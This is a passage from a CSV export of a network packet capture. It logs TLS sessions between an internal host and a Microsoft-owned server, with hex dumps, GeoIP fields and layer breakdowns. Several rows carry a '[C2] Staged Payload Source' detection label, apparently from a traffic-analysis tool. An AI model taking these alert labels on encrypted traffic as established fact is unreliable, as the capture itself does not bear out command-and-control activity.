\"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213684373, \"\"ack\"\": 2486874846, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:48.353933,74,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2486874846 Ack=4213684373,bc24112907bbbc2411360d0c08004500009c1195400080065a000a98980b3461b7c2f9fd01bb943ab2defb27b895501803fe12270000170303006f0000000000000003164422dd7b36d2431ab4e5673e1721174c7071f09ae41a5faab304c6e72c8921a4c704e75117e4c24ece7d9f6397144cd3fca6d8c90101979abd13c0d5b67bed7bcaa9842c67673287d0b23911e1e83541382d6db86e81b8eccc8135a3814c5c0e2d23b94b2d86,\".$.)...$.6\n...E.....@...Z.\n...4a.......:...'..P....'......o.........D\"\".{6.C...g>.!.Lpq...._.....,.!....Q...N.}.c..L..............{.{...,gg2...9...5A8-m.n.....5..L\\.-#.K-.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 4501, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23040, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874846, \"\"ack\"\": 4213684373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 4647, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x16D\\\"\"\\\\xdd{6\\\\xd2C\\\\x1a\\\\xb4\\\\xe5g>\\\\x17!\\\\x17Lpq\\\\xf0\\\\x9a\\\\xe4\\\\x1a_\\\\xaa\\\\xb3\\\\x04\\\\xc6\\\\xe7,\\\\x89!\\\\xa4\\\\xc7\\\\x04\\\\xe7Q\\\\x17\\\\xe4\\\\xc2N\\\\xce}\\\\x9fc\\\\x97\\\\x14L\\\\xd3\\\\xfc\\\\xa6\\\\xd8\\\\xc9\\\\x01\\\\x01\\\\x97\\\\x9a\\\\xbd\\\\x13\\\\xc0\\\\xd5\\\\xb6{\\\\xed{\\\\xca\\\\xa9\\\\x84,gg2\\\\x87\\\\xd0\\\\xb29\\\\x11\\\\xe1\\\\xe85A8-m\\\\xb8n\\\\x81\\\\xb8\\\\xec\\\\xcc\\\\x815\\\\xa3\\\\x81L\\\\\\\\\\\\x0e-#\\\\xb9K-\\\\x86' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:48.353940,75,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213684373 Ack=2486874962,bc2411360d0cbc24112907bb080045000028c4fc40004006e70c3461b7c20a98980b01bbf9fdfb27b895943ab3525010003f8ee10000,\".$.6\n..$.)....E..(..@.@...4a..\n........'...:.RP..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50428, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59148, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213684373, \"\"ack\"\": 2486874962, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:49.006791,76,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > Padding,5,TCP PA Seq=4213684373 Ack=2486874962,bc2411360d0cbc24112907bb080045000210c4fd40004006e5233461b7c20a98980b01bbf9fdfb27b895943ab3525018003f90c90000170303002100000000000000021fde327d4a528332637747ba3a60ca37e3d779ecc15ac1407517030302ed0000000000000003ab41a5aeafd9390ea36f64f70cb4a20790e83d8db1036fae7881b8278d53f2d40d091825adeded2e66381bea3ae70ba3bce315edbf61be47d131365c683cb34de0d164bd253e8879b383958c1badb8c0e05bc3d0567e6f3f2d0f8eecc2d84bcc8228b1662c9c32fa24fa3a021d779e0e369a3c774e920fceca8707230afba73b9167208062a80b4d0710cea66c3edc8d9e32c4270de3e274bf017428a83f0af1f550a656a89817d2dfbc553013b45d92f9bf5c6286778a5e0a46f8bb6a8de4b41849ff009d502832ad97b4fde2ab284a2a2ff51c4eaad2d4d92e4f8cd3f082fb2a4aa39624a8228567b5217168925027d14aa94c72b7081e4eac6abb215738839544de73ca398cf98a1a18aef90120016acb8c7d70209fc2fd0b34cdeb2fedf5ae4ababc320575a985bfcfe60a1101adbfd010e833770e1ac00d1af76c3a8be7ff2f594a888920504dbf003b4cc7267dd2168e16bdd995b83405f2e10f0aefaa74add3752dcb80a462a1c8bb22bead93ba291818f402314d82f7f95dbaa3228f115a047c182cbb9638d7e98eaf0a491cb3e426477e5dfe16d006ed938d723debbefa75b9b3e2cff6e8e795c5398a4256e5da11b1fa,\".$.6\n..$.)....E.....@.@..#4a..\n........'...:.RP..?........!..........2}JR.2cwG.:`.7..y..Z.@u..............A....9..od.......=...o.x..'.S..\n\t.%....f8..:........a.G.16\\h<.M..d.%>.y.........[..V~o?-.....K..(.f,.2.$.:..w..6.<wN......#\n..;.g .b..M....l>...2.'\n..t..t(.?\n..P.V......U0..]...\\b.w.^\nF..j....I...P(2......(J*/..N.....O.....*J..$.\"\".g.!qh.P'.J.Lr...N.j.!W8..D.s.9........ .j..}p ....4../...J..2.u.....\n.......3w...\n..l:.../YJ.. PM..;L.&}........4....\n..t..u-...b...\"\"....)....1M...]..\"\"..Z.|.,..8....\nI...&G~].......r=...u.........9.BV.....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 50429, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58659, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213684373, \"\"ack\"\": 2486874962, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37065, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x1f\\\\xde2}JR\\\\x832cwG\\\\xba:`\\\\xca7\\\\xe3\\\\xd7y\\\\xec\\\\xc1Z\\\\xc1@u' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"17030302ed0000000000000003ab41a5aeafd9390ea36f64f70cb4a20790e83d8db1036fae7881b8278d53f2d40d091825adeded2e66381bea3ae70ba3bce315edbf61be47d131365c683cb34de0d164bd253e8879b383958c1badb8c0e05bc3d0567e6f3f2d0f8eecc2d84bcc8228b1662c9c32fa24fa3a021d779e0e369a3c774e920fceca8707230afba73b9167208062a80b4d0710cea66c3edc8d9e32c4270de3e274bf017428a83f0af1f550a656a89817d2dfbc553013b45d92f9bf5c6286778a5e0a46f8bb6a8de4b41849ff009d502832ad97b4fde2ab284a2a2ff51c4eaad2d4d92e4f8cd3f082fb2a4aa39624a8228567b5217168925027d14aa94c72b7081e4eac6abb215738839544de73ca398cf98a1a18aef90120016acb8c7d70209fc2fd0b34cdeb2fedf5ae4ababc320575a985bfcfe60a1101adbfd010e833770e1ac00d1af76c3a8be7ff2f594a888920504dbf003b4cc7267dd2168e16bdd995b83405f2e10f0aefaa74add3752dcb80a462a1c8bb22bead93ba291818f402314d82f7f95dbaa3228f115a047c182cbb9638d7e98eaf0a491cb3e426477e5dfe16d006ed938d723debbefa75b9b3e2cff6e8e795c5398a4256e5da11b1fa\"\"}}]\"\n2026-06-28 14:01:49.007017,77,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486874962 Ack=4213684861,bc24112907bbbc2411360d0c0800450000281196400080065a730a98980b3461b7c2f9fd01bb943ab352fb27ba7d501003fc24260000,\".$.)...$.6\n...E..(..@...Zs\n...4a.......:.R.'.}P...$&..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4502, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23155, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874962, \"\"ack\"\": 4213684861, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1020, \"\"chksum\"\": 9254, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:49.027131,78,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=4213684861 Ack=2486874962,bc2411360d0cbc24112907bb080045000255c4fe40004006e4dd3461b7c20a98980b01bbf9fdfb27ba7d943ab3525018003f910e0000c9ade0820c795cad80c0a0b281d79e690de39dbe6894df9ea11ae49b7a488f9873d9f1eac0e1ca373bbba95cca8e694bd7e3c285dc73aa9a4eb08d57c4eb83987981c5c05240f59202c82345dd0885f7571231ccca2432a2243fb23bb79f5fe5307e13e8ef7e8c1b2a2d529b777b8f2a04b0e7a82d66c84670251c0e70da03155f78e46c18e34a85d48b881c5446c5344f0bf0212435a62bd161feed905f5d41f26d8785eb8578b0588e628093347a688e0396dfcf6de89354d66fda6e4304664b89acf1e6c4f95577d78aaeaf5fc12ddf7691192f5047a0b9f1e6b68c40a42d8f7759d87c89ea807353dba575ee337854265ccd73dcbb58fc38023fc37819cef0e6c393dffe316a4cc441424608366dbcbf7f42eae6994ac32ced4a7dae79fd7c149ff2b63aa5f3aa334722518fdd8c17030300d20000000000000004ee986ff14908ed8a8d60b2a3e9a2d3c6d89e761524e897bbe5f07ce32da5b1d772fffbd2ac41542574cca80a3b48925904bdc507fb254e345054a8b73eaff7c5760a692c5c87ae8058f8cf8eb057528d395f01ff6bfd20c5da8ddb22f46f2c9acf93c79836fb55737a711a22282e18ad8c86fcab654c73bf38d4094887891cb56df86d49e6b3c497a07063b00d08b84bfd8f6ca027258c2b446d4c6ff50985c9c519485b39d19587dadd7c85f38e080589fb9b51087c4b50be1534abefd191d1831b74a5957fda8afd9a170303002100000000000000052a62ec5d423bc4b88c9ff440447ad493c122ed0086e5e67861,\".....y\\........i\n...h.......zH..s......7;..\\..iK.....s..N..W....y...R@....#E....W.1..$2.$?.;.._.0~...~..*-R.w{.*....-f.Fp%..p..._x.l..J.....TF.4O..!$5.+.a..._]A.m....x.X.b..4zh.....m..T.o.nC.fK......Uw...._.-.v../PG......@.-.wY.|...sS..u.3xT&\\.s..X.8.?.x........1jL.ABF.6m...B...J.,.J}.y.|....:...3G\"\"Q..................o.I....`........v.$.....|.-...r....AT%t..\n;H.Y.....%N4PT..>...v\ni,\\...X....WR.9_..k. ....\"\".o,.....6.Uszq.\"\"(.......eLs.8.\tH....m.mI.....pc.\n..K..l.'%.+DmLo.\t....H[9.....|........Q.|KP..4.......t...........!........*b.]B;.....@Dz...\"\".....xa\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 597, \"\"id\"\": 50430, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58589, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213684861, \"\"ack\"\": 2486874962, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37134, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"c9ade0820c795cad80c0a0b281d79e690de39dbe6894df9ea11ae49b7a488f9873d9f1eac0e1ca373bbba95cca8e694bd7e3c285dc73aa9a4eb08d57c4eb83987981c5c05240f59202c82345dd0885f7571231ccca2432a2243fb23bb79f5fe5307e13e8ef7e8c1b2a2d529b777b8f2a04b0e7a82d66c84670251c0e70da03155f78e46c18e34a85d48b881c5446c5344f0bf0212435a62bd161feed905f5d41f26d8785eb8578b0588e628093347a688e0396dfcf6de89354d66fda6e4304664b89acf1e6c4f95577d78aaeaf5fc12ddf7691192f5047a0b9f1e6b68c40a42d8f7759d87c89ea807353dba575ee337854265ccd73dcbb58fc38023fc37819cef0e6c393dffe316a4cc441424608366dbcbf7f42eae6994ac32ced4a7dae79fd7c149ff2b63aa5f3aa334722518fdd8c17030300d20000000000000004ee986ff14908ed8a8d60b2a3e9a2d3c6d89e761524e897bbe5f07ce32da5b1d772fffbd2ac41542574cca80a3b48925904bdc507fb254e345054a8b73eaff7c5760a692c5c87ae8058f8cf8eb057528d395f01ff6bfd20c5da8ddb22f46f2c9acf93c79836fb55737a711a22282e18ad8c86fcab654c73bf38d4094887891cb56df86d49e6b3c497a07063b00d08b84bfd8f6ca027258c2b446d4c6ff50985c9c519485b39d19587dadd7c85f38e080589fb9b51087c4b50be1534abefd191d1831b74a5957fda8afd9a170303002100000000000000052a62ec5d423bc4b88c9ff440447ad493c122ed0086e5e67861\"\"}}]\"\n2026-06-28 14:01:49.027467,79,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486874962 Ack=4213685418,bc24112907bbbc2411360d0c0800450000281197400080065a720a98980b3461b7c2f9fd01bb943ab352fb27bcaa5010040021f50000,\".$.)...$.6\n...E..(..@...Zr\n...4a.......:.R.'..P...!...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4503, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23154, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874962, \"\"ack\"\": 4213685418, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 8693, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:49.028165,80,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2486874962 Ack=4213685418,bc24112907bbbc2411360d0c0800450000681198400080065a310a98980b3461b7c2f9fd01bb943ab352fb27bcaa50180400e4520000170303003b00000000000000041de8f61556c14347a7e9c432b9257a3db787f1959215d1d45dc3911808897bb26b2eea06e6aa433679fd4d0a1ffaedff9b259a,\".$.)...$.6\n...E..h..@...Z1\n...4a.......:.R.'..P....R......;............V.CG...2.%z=........].....{.k.....C6y.M\n.....%.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 4504, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23089, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874962, \"\"ack\"\": 4213685418, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 58450, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x1d\\\\xe8\\\\xf6\\\\x15V\\\\xc1CG\\\\xa7\\\\xe9\\\\xc42\\\\xb9%z=\\\\xb7\\\\x87\\\\xf1\\\\x95\\\\x92\\\\x15\\\\xd1\\\\xd4]\\\\xc3\\\\x91\\\\x18\\\\x08\\\\x89{\\\\xb2k.\\\\xea\\\\x06\\\\xe6\\\\xaaC6y\\\\xfdM\\\\n\\\\x1f\\\\xfa\\\\xed\\\\xff\\\\x9b%\\\\x9a' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:49.028169,81,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213685418 Ack=2486875026,bc2411360d0cbc24112907bb080045000028c4ff40004006e7093461b7c20a98980b01bbf9fdfb27bcaa943ab3925010003f8ee10000,\".$.6\n..$.)....E..(..@.@..\t4a..\n........'...:..P..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50431, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59145, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213685418, \"\"ack\"\": 2486875026, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:49.576379,82,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4213685418 Ack=2486875026,bc2411360d0cbc24112907bb0800450002bbc50040004006e4753461b7c20a98980b01bbf9fdfb27bcaa943ab3925018003f91740000170303028e0000000000000006b71db45b718d5f438016a8aed0c880cb5ff7638fd6878dca2bf050e50aabeed8e3cb67d737ea17ce7f422044fe1662570c7d452cfc9e254af5209ec054af280192a21cb4c8e5b8a6bb291cd74d7c1b46caa4d70783fee251055da7802e007cc5deab5770d7f178942693327866e7887548235d7fc9b00086be2e52fc3851cb99568922199232345e59988c555beef59e17cdc6bda9ddbabfaf37e6a4fc40dc797fabfdec30b5e809f3e872cf0312fd6e30cdc3d961908802bb6dca1350fe827edc3ff01206c5daf8ce844bcdf8b094317da6ea6ea8bb6b0e01f8359c203214f5b0891ff3649936dda9604c3158e81b38ff50fe72ad8c9f5827016d4516583fde935a3918e9f81d459c259b2c0d19cc5d06101c3551163e9d28d57dc4b68b6fd1dd64e663c5c49eba370315cfb66e183b78688f964cdc00e63d5dd799c26e45d9021d3fbf3cae3888de7b6fa50c5d8187b058fbd7fc321651fa33b17c38df7b242f51b9131c4493721e304d8c3d5c8f66c22e727dbf547fddaa2acc7f66f850308c1ad1e7b7c96e25f443cc8563a5a4d1b3795e8d30d2ddec1fa6d2eb3d49939b77c74d2de0762e89f0d0dcdf9e847be4aef9fe8fc1e6ca9ee108698c672914059fffb90fb87b4bb3d01ef2d9a39b30801823738fd45ec690922c141a49bf4cef903e8e316e7bd0f5982af3d15004ef92d0f328b0aa14fba07acf732651e86ca10fb08fb017dd3ae1bf567b0ad9d6899631dbad8f30b060d318443481a44ea8e55f1e29eadb5c08b306aea56bb991b4d854d7e511f2b7b5b1a4d8330d5eabf488f67bef1a972a9e1dc667e18405989ab3e5ba210f57ac082aa0dd65a37f85132dfc5b7b02f7d8326913ae9a6f097fa8744be043b33649a0ce281ddbb0216a9dd434d44751a0a9,\".$.6\n..$.)....E.....@.@..u4a..\n........'...:..P..?.t..................[q._C........_.c.....+.P.\n.....g.7....B D..bW.}E,..%J. ..T.(..........)..M|.F.......Q.]....|...Wp..x.&.2xf..uH#].......R.8Q..V.\"\"..24^Y..U[............7...@.y....0..\t..r....n0...a....m..P..~.?........K....1}..n..k...5. 2......d.6..`L1X..8.P.r...X'.mE.X?..Z9....E.%.,\n..]...5Q.>.(.}...o..d.c....7....n.;xh..L...=]...nE...?.<.8..{o..]...X...2.Q.3.|8.{$/Q...D.r.0M.=\\.f..r}.T...*..f.P0......n%.C..c....y^.0.......=I..w.M-.v........{...........i.g).......{K.......0..#s..^...,..I.L..>.1n{...*..P.....(.....z.s&Q.l.......:..V{\n....1...0.`..D4..N.._.)..\\.....k....T.........3\n^....{...*...g........!.W..*..e....-.[{...2i...o\t..tK.C.6I..(...!j..4.GQ..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 699, \"\"id\"\": 50432, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58485, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213685418, \"\"ack\"\": 2486875026, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37236, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 654, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\xb7\\\\x1d\\\\xb4[q\\\\x8d_C\\\\x80\\\\x16\\\\xa8\\\\xae\\\\xd0\\\\xc8\\\\x80\\\\xcb_\\\\xf7c\\\\x8f\\\\xd6\\\\x87\\\\x8d\\\\xca+\\\\xf0P\\\\xe5\\\\n\\\\xab\\\\xee\\\\xd8\\\\xe3\\\\xcbg\\\\xd77\\\\xea\\\\x17\\\\xce\\\\x7fB D\\\\xfe\\\\x16bW\\\\x0c}E,\\\\xfc\\\\x9e%J\\\\xf5 